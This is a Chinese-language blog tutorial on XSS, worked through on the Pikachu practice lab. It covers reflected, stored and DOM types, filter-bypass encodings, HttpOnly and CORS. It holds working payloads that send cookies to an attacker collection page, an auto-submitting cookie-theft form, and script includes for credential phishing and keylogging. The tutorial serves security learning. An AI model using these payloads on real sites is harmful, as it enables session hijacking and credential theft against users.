10.xss漏洞

xss漏洞

也就是有数据交互的位置(可以输入内容的地方)找漏洞

简介

XSS简介
XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。

XSS原理
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。

分类

XSS分类
反射型(非持久型)
个人理解,无数据库交互,输入框中的js代码在前端作为页面显示时,被解析,导致漏洞
反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,具体表现在受害者点击了含有的恶意JavaScript脚本的url,恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本。



存储型(持久型)
输入的js代码被存入数据库,被解析,导致所有访问的用户受到漏洞影响
存储型XSS是指应用程序通过Web请求获取不可信赖的数据,在未检验数据是否存在XSS代码的情况下,便将其存入数据库。当下一次从数据库中获取该数据时程序也未对其进行过滤,页面再次执行XSS代码持续攻击用户。存储型XSS漏洞大多出现在留言板、评论区,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。

DOM型(非持久型)
js代码控制dom操作
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式,DOM-XSS简单理解就是不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题。

危害

XSS漏洞的危害
1.窃取用户Cookie
2.后台增删改文章
3.XSS钓鱼攻击
4.利用XSS漏洞进行传播和修改网页代码
5.XSS蠕虫攻击
6.网站重定向
7.获取键盘记录
8.获取用户信息等

实例

反射型xss(get)

这里没有与后端交互 仅前端

页面部分代码

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}
<script>alert(xss)</script>

输入的message参数 本来是显示在页面 然而 输入一些代码被解析 达到效果   

存储型

攻击者输入 → 后端接收 →  存入数据库 → 后端查询未转义 → js编码器执行
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常,提交失败!</p>";
    }
}

<script>alert(1)</script>

dom型(xss)

如图,输入框的内容可以对前端代码进行dom操作 这里闭合一下
让herf与onclick属性绑定 达到点击弹窗的效果
'onclick=alert(1)>

dom型(xss-x)(同上)

'onclick=alert(1)>

存储型xss盗取cookie过程

在攻击目标网站利用存储型xss漏洞注入获取cookie并发送的恶意代码,这段代码就存储进入数据库,用户访问该页面时,恶意代码执行,cookie就被盗取了   

<script>document.location="http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

解释下http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php这是黑客提取cookie的页面,代码做的事情是向这个页面发送一个带有用户cookie的参数

这里可以看到 cookie.php黑客用于获取cookie的页面做了一个重定向,跳转到用户首页,在用户看来浏览器页面就像卡了一下,跳转到首页。
http://192.168.152.129/pikachu-master/pkxss/xcookie/pkxss_cookie_result.php

#黑客展示获取到的cookie的页面

反射型(post)xss盗取cookie过程

对于post请求的xss 用户浏览器保存cookie的情况下 需要让用户访问设计好的页面,部分代码如下
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://10.144.43.200/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.152.129/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
这段代码实现了自动点击页面提交按钮,把cookie传走

拿到cookie 实现登录

存储性xss钓鱼账号密码

注意 查看phpinfo.php中信息 server api中为cgi/fastcgi无法接收

参考这篇文章(非常感谢原作者!!)
https://geekdaxue.co/read/naraku@blog/pikachu-php-basic

<script src="http://192.168.152.129/pikachu-master/pkxss/xfish/fish.php"></script>
fish.php 中Location:后  ip+路径(接收username+password参数的页面xfish.php) 

加单引号
['PHP_AUTH_USER']  ['PHP_AUTH_PW'] ==> ['PHP_AUTH_USER']  ['PHP_AUTH_PW']


header("Location: http://10.147.51.200/pikachu-master/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
}
xfish.php 插入语句没有into 要加上

$query="insert into fish(time,username,password,referer) 
values('$time','$username','$password','$referer')";

上述攻击代码存入数据库后,访问页面就会执行,有弹窗,用户输入密码账户

存储型xss获取键盘记录

<script src="http://192.168.152.129/pikachu-master/pkxss/rkeypress/rk.js"></script>

对应目录下的 rk.js中代码有个url改为自己ip+路径

xss盲打

我们输入的攻击代码 在后台管理员登录时触发
<script>alert(111)</script>

前端绕过

前端会对输入的内容校验,我们可以在浏览器中按f12修改代码(如输入字数限制)绕过或者抓包修改请求包

xss href绕过(js伪协议)

js伪协议)

前面的引号如何都闭合不了

标签的 href 属性用于指定超链接目标的 URL:
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表
也就是说 js代码可以生效
javascript:alert(1)

xss js绕过

将标签分别闭合就好
</script><script>alert(123)</script>

后端绕过

绕过方法:
1 大小写混写
2 双写
3 更换标签
4 编码
防止后端正则匹配过滤,可以采用大小写混合,双写 更换标签 编码(xss最终在浏览器执行,sql注入代码在服务端执行,编码方式不同)的方法绕过

xss大小混写绕过

后端代码

$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);

匹配以 < 开头,且包含 s→c→r→i→p→t 字符序列的任意字符组合,然后替换为空:
<:匹配左尖括号;
<ScRiPt>alert(1)</ScRiPt>

xss htmlspecialchars()绕过

php语言中的htmlspecialchars()函数(默认对双引号编码 单引号不编码 需要加参数)  会将特殊符号进行html实体编码 注入的代码中双引号会失效

HTML 实体编码:
在 HTML 中,某些字符是预留的,不能直接使用。例如,小于号(<)和大于号(>)会被浏览器误认为是标签。因此,我们需要使用字符实体来表示这些预留字符。

以下是一些常见的 HTML 字符实体及其表示方式:
<	小于号	&lt;	
>	大于号	&gt;	
&	和号	&amp;	
"	引号	&quot;
htmlspecialchars() 使用

htmlspecialchars(string,flags,character-set,double_encode)

第二个参数flags可选。规定如何处理引号、无效的编码以及使用哪种文档类型。可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号
htmlspecialchars() 实例

<?php

$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
echo "<br>";
$str = "Jane & 'Tarzan'";
echo htmlspecialchars($str, ENT_COMPAT); // 默认,仅编码双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES); // 编码双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不编码任何引号
?>
输入的代码中特殊符号被编码了

'onclick='alert(1)'

xss编码绕过

浏览器解析顺序:url解析器,html解析器,css解析器,js解析器
html实体编码    

将特殊字符转换为 &#+十进制ASCII码;(如 ( → &#40;)或实体名(如 " → &quot;),浏览器解析 HTML 标签 / 属性时,会还原 HTML 实体编码;常用于「属性内特殊字符」或「页面正文输出」场景

能够解析场景:
1.浏览器仅在「解析 HTML 标签 / 属性的值」时还原 HTML 实体
(如<a href="这里">)

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

2.若编码内容被输出到页面正文(而非href),需先闭合原有标签,让实体编码被解析为 JS

<div>其他内容&#100;&#105;&#118;&#58;&#111;&#110;&#99;&#108;&#105;&#99;&#107;&#61;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</div>



url编码

将字符转换为 %+16进制ASCII码 格式(如 ( → %28、s → %73),浏览器在解析 href/src 等属性、或处理 URL 时,会自动解码 URL 编码内容,而多数简单过滤规则仅匹配「明文关键词」,不会解码后校验

能够解析场景:
1:嵌入<a href="">属性内
<a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%31%29">点击弹窗</a>

2:二次 URL 编码绕过多层过滤(靶场仅解码一次)
若靶场做了「一次 URL 解码 + 过滤」,可对全编码结果再编码一次

<a href="%256A%2561%2576%2561%2573%2563%2572%2569%2570%2574%253A%2561%256C%2565%2572%2574%2528%2531%2529">点击弹窗</a>



js编码(unicode编码)
将字符转换为 \u+4位十六进制Unicode码(如 s → \u0073、a → \u0061),JavaScript 引擎和现代浏览器会自动解析 Unicode 转义字符;常用于「绕过关键词正则匹配」,尤其是对大小写不敏感的过滤

unicode编码有&#(十进制),&#x(十六进制),/u(十六进制)三种开头

能够解析场景:
1.嵌入<a href="">+JS 解析(需触发 JS 引擎)
<a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029">点击弹窗</a>

2.嵌入 JS 代码块(靶场拦截明文 JS)
若输入被输出到<script>标签内,Unicode 编码可绕过过滤

<script>
\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029
</script>
javascript:alert('&#110;&#105;&#104;&#97;&#111;')
#编码内容不能解析

javascript:alert('%e4%bd%a0%e5%a5%bd')  #可以解析

javascript:alert('\u0068\u0065\u006c\u006c\u006f')
#可以解析
页面提交的内容如果通过document.write()写到页面上 我们输入unicode过的payload是可以执行的

示例如下
为编码前:<img src=# onerror="alert('hello')" />
<!DOC TYPE html>
<html>

<script>
document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0023\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0022\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0068\u0065\u006c\u006c\u006f\u0027\u0029\u0022\u0020\u002f\u003e');
</script>
</html>

xss httponly绕过

HttpOnly Cookie 是一种在 Set-Cookie 响应头中添加 HttpOnly 标志的特殊 Cookie,用于防止客户端脚本(如 JavaScript)通过 document.cookie 读取敏感信息,从而有效防御 XSS 会话劫持。

核心机制 当浏览器接收到带有 HttpOnly 标志的 Cookie 时,会将其存储在受保护的区域,前端脚本无法访问。即使页面存在 XSS 漏洞,攻击者也无法直接窃取会话 ID 等敏感数据

将httponly设为true时,document.cookie不能获取到cookie

表单劫持

表单劫持(Formjacking)是一种隐蔽且具有威胁性的网络攻击方式,攻击者通过在网页表单中注入恶意脚本,窃取用户提交的敏感信息。随着互联网应用场景的多样化,用户经常通过表单向服务端提交诸如登录凭证、信用卡号等敏感数据。攻击者正是利用这一点,将恶意代码注入合法表单中,在用户提交数据时同时将信息发送到攻击者的服务器。

获取存储在浏览器中的账户密码

有许多的博客可以参考一下

xss防范

输入进行过滤 单引号 双引号 尖角符
输出进行编码
特别时输出位置 如果输出给js代码 经过编码后也可以执行 href标签的话可以用js伪协议执行

同源和跨域

协议相同	http vs https ❌ 不同源
域名相同	a.example.com vs b.example.com ❌ 不同源
端口相同	example.com:80 vs example.com:8080 ❌ 不同源
客户端向服务器发送请求的时候,如果协议,域名(IP)和端口都一样,则称为同源,但凡有一个不一样则跨域,跨域请求默认受到浏览器的安全策略的限制,浏览器会给出相应的错误信息,对于客户端而言意味着请求失败
有哪些是不受同源策略限制
页面上的链接,比如 a 链接。
重定向。
表单提交。
跨域资源的引入,比如:script, img, link, iframe。
跨域(Cross-Origin)指的是 浏览器从一个域名的网页,向另一个不同域名、端口或协议的服务器发起请求 的行为。
如何解决跨域?
浏览器限制跨域是为了安全,但合理的跨域需求(比如前后端分离项目、CDN 资源加载)需要被支持,因此有多种标准化的解决方案:
1. CORS(Cross-Origin Resource Sharing,跨域资源共享)—— 最常用
核心是 服务器端配置,允许指定域名的跨域请求。原理是:
浏览器发起跨域 AJAX 请求时,会先发送一个「预检请求(OPTIONS 请求)」,询问服务器是否允许当前域名跨域;
服务器返回响应头(如 Access-Control-Allow-Origin:  http://localhost:3000 ),告知浏览器允许该域名跨域;
浏览器确认后,再发送真实的请求(GET/POST 等)。
关键响应头(服务器配置):
Access-Control-Allow-Origin:允许跨域的域名(必填,可设为 * 表示允许所有域名,但不允许携带 Cookie);
Access-Control-Allow-Methods:允许的请求方法(GET/POST/PUT/DELETE 等);
Access-Control-Allow-Credentials:是否允许携带 Cookie(设为 true 时,Access-Control-Allow-Origin 不能为 *,需指定具体域名);
Access-Control-Allow-Headers:允许的自定义请求头(比如 Token、Content-Type 等)。
2. JSONP —— 兼容老浏览器(已逐渐淘汰)
利用 <script> 标签允许跨域加载脚本的特性,实现跨域数据传递:
前端定义一个回调函数(如 handleData(data));
前端通过 <script src="http://api.example.com/data?callback=handleData"> 跨域请求;
服务器返回 handleData({"name": "xxx"}),浏览器加载脚本后自动执行回调函数,传递数据。
缺点:仅支持 GET 请求,存在安全风险(若服务器返回恶意脚本,会被执行)。
3. 代理服务器(前端常用规避方案)
由于同源策略仅限制浏览器,不限制服务器之间的请求,因此可通过「代理服务器」转发请求:
前端向 同源的代理服务器 发起请求(比如  http://localhost:3000/api/data );
代理服务器向后端跨域 API(比如  http://localhost:8080/data )发起请求,获取数据;
代理服务器将数据返回给前端,实现跨域通信。

posted @ 2026-05-11 21:00  hello422000  阅读(39)  评论(0)    收藏  举报